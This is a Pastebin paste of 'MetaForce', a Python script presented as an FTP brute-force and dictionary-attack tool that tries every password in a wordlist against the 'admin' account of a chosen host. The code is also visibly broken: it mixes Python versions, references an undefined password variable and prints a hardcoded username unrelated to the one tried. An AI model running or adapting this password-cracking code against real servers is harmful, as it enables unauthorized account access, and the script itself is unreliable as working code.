Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #+-------------------+
- #|~~~~~MetaForce~~~~~|
- #|!!FTP Bruteforce!!|
- #|Copyrights to |
- #|Drarqua GHS Storm |
- #+-------------------+
- #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
- import random, string, ftplib, os, socket, time, sys
- from ftplib import FTP
- #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
- chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
- print ("___ ___ _____ _____ ___ ______ ___________ _____ _____ ")
- print ("| \/ || ___|_ _/ _ \ | ___| _ | ___ \/ __ \| ___|")
- print ("| . . || |__ | |/ /_\ \| |_ | | | | |_/ /| / \/| |__ ")
- print ("| |\/| || __| | || _ || _| | | | | / | | | __|")
- print ("| | | || |___ | || | | || | \ \_/ / |\ \ | \__/\| |___ ")
- print ("\_| |_/\____/ \_/\_| |_/\_| \___/\_| \_| \____/\____/")
- print (" +!~~~~~~~!Options!~~~~~~~!+")
- print (" |Options For Metaforce |")
- print (" |[1] For Brute Force |")
- print (" |[2] For Dictionary Attack|")
- print (" |[3] Help about MetaForce |")
- print (" +!~~~~~~~~~!End!~~~~~~~~~!+")
- #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
- option = input (" Decide The option you want toy use \n--> ")
- Target = raw_input (" Type your target's host \n--> ")
- ip = socket.gethostbyname( Target )
- curdir = os.getcwd()
- #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
- if option == 2:
- path = raw_input("Type your Wordlist's path\n--> ")
- try:
- ftp = FTP(ip)
- print ("[+]Metaforce is connected to (" + ip + ")")
- except ftplib.all_errors:
- print ("[-]Connection to (" + ip + ") failed!")
- raw_input("Type something to exit...")
- exit()
- try:
- fd = open(path)
- except(IOError):
- print ("Check your Wordlist Path")
- raw_input("Type something to exit...")
- exit()
- print ("[+]Trying all the passwords in your wordlist")
- for line in fd:
- try:
- ftp.login("admin", line)
- ftp.retrlines('LIST')
- ftp.quit()
- print ("[+]Metaforce succeded on Cracking\n")
- print ("[+]Username: koslibpro\n")
- print ("[+]Password: " + passwd + "\n" )
- raw_input("Type something to exit...")
- exit()
- except ftplib.all_errors:
- pass
- print ("[-]None of your passwords match")
- raw_input("Type something to exit...")
- exit()
- #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
Add Comment
Please, Sign In to add comment